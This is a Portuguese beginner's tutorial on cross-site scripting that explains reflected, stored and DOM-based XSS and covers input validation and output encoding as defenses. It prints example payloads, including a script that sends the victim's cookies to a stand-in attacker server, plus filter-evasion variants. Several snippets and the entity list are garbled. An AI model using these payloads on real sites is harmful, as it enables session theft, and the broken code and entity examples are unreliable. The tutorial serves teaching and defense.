Cross-Site Scripting para Iniciantes
Cross-Site Scripting para Iniciantes

O script entre sites (Cross-Site Scripting) é um tipo de ataque clássico e conhecido que só é possível porque alguns aplicativos de software aceitam a entrada do usuário de uma maneira insegura. Isso acontece por meio de campos de pesquisa, formulários de pesquisa, cookies e formulários da web online.
Tipos de XSS mais conhecidos:
- XSS refletido (Reflected)
- XSS armazenado (Stored)
- DOM XSS
XSS refletido (Reflected) – Esse ataque ocorre quando um script malicioso é refletido nos resultados do site. Por exemplo: um invasor fornece tags JavaScript ao seu aplicativo da web na entrada
(<script type = ‘text / javascript’> alert (‘Possible XSS’); </script>
Quando essa entrada é retornada ao usuário sem ser sanitizada, o navegador do usuário a executa. Pode ser tão simples quanto criar um link e induzir um usuário a clicar nele, ou pode ser algo muito mais perigoso. No carregamento da página, o script é executado e pode ser usado para enviar seus cookies de sessão para o invasor.
XSS armazenado (Stored) – Os dados maliciosos são armazenados permanentemente em um banco de dados e posteriormente acessados e executados pelas vítimas, sem qualquer conhecimento do ataque. O exemplo clássico de XSS armazenado é um script malicioso inserido por um invasor em um campo de comentário em um blog, mídia social ou em uma postagem de fórum.
A carga útil XSS a seguir tenta carregar uma imagem do servidor do invasor com os dados do cookie da vítima na URL de solicitação.
<script> var + img = new + image (); img.src = “http: // servidor-invasor /” + document.cookie; </script>
Após a solicitação da imagem, o invasor pode extrair os cookies de sessão da vítima do servidor web.
DOM XSS – Em primeiro lugar, o que é DOM? O XSS baseado em DOM é um ataque XSS em que a carga de ataque é executada como resultado da modificação do “ambiente” DOM no navegador da vítima usado pelo cliente original script, para que o código do lado do cliente seja executado de maneira “inesperada”.

Figura – O modelo HTML DOM é construído como uma árvore de objetos
Ou seja, a resposta HTTP que não muda, mas o código do lado do cliente contido na página é executado de maneira diferente devido às modificações maliciosas que ocorreram no ambiente DOM.
Por exemplo: suponhamos que haja uma página da web com a URL https://abcd.com/home.html?admin=1. Como sabemos, “admin” é um parâmetro e “1” é seu valor. Se quisermos realizar um ataque XSS DOM, enviaremos um script como parâmetro.
https://abcd.com/home.html?admin= <script> alert (document.cookie) </script>
Neste exemplo, a solicitação é enviada para a página home.html? Admin = <script> alert (document.cookie) </script> para abcd.com. Portanto, para essa página, um objeto DOM está sendo criado pelo navegador, no qual o objeto de localização do documento conterá a string apropriada.
https://abcd.com/html?admin= <script> alert (document.cookie) </script>
Desta forma, o ambiente DOM está sendo afetado. Obviamente, em vez desse script simples, algo mais prejudicial também pode ser inserido.
Como se proteger desse tipo de ataque?
1. Validação de entrada
Limitar a entrada de dados do usuário por meio de uma black list conhecida, contendo alguns caracteres especiais. Por exemplo:
<script> alert (1) </script>
<sCRipT> alert (1) </sCRiPt>
<scr <script> ipt> alert (1); </ scr </script> ipt>
2. Codificação de saída
A codificação de saída está mudando a entrada para que não possa ser interpretada como código.
Em HTML, muitos caracteres podem ser usados para manipular os caracteres da página, como esses precisam ser codificados para que não sejam executados pelo navegador, isso é feito através do uso de HTML.
As entidades de caracteres são cadeias de caracteres não especiais que correspondem ao símbolo especial. Cada símbolo especial ajuda o navegador a determinar a diferença entre o código real no site e as entradas do usuário, removendo assim a ameaça de injeções não confiáveis para JavaScript e CSS deve ser evitado.
3. Codificação HTML
Escapam caracteres especiais do arquivo HTML, removendo traços de caracteres ofensivos que podem ser interpretados erroneamente como marcações. Os seguintes caracteres são reservados em HTML e devem ser substituídos por suas entidades HTML correspondentes:
- “ é substituído por & quot;
- & é substituído por & amp;
- < é substituído por & lt;
- > é substituído por & gt; Codificação de URL
Por exemplo: & = & amp; <= & lt; > = & rt; “= & Quot;
4. Codificação de URL
Existe outra maneira de codificar certos caracteres: digitar o sinal de porcentagem seguido pela representação hexadecimal do caractere. Isso é conhecido como codificação de porcentagem ou codificação de URL. Usando esse método, se você quiser dizer ao computador para ler uma barra como dados, digite% 2F. Se quiser dizer ao computador para ler uma aspa simples, digite% 27.
Conclusão
Chegamos ao final de mais um artigo escrito pela equipe de Red Team da RedBelt Security.
Demonstramos no decorrer deste artigo como é possível realizar a exploração da vulnerabilidade de Cross-Site Scripting de uma forma fácil e simples, e quão perigosa é se for explorada por um atacante em potencial.
Espero que tenham gostado e até o próximo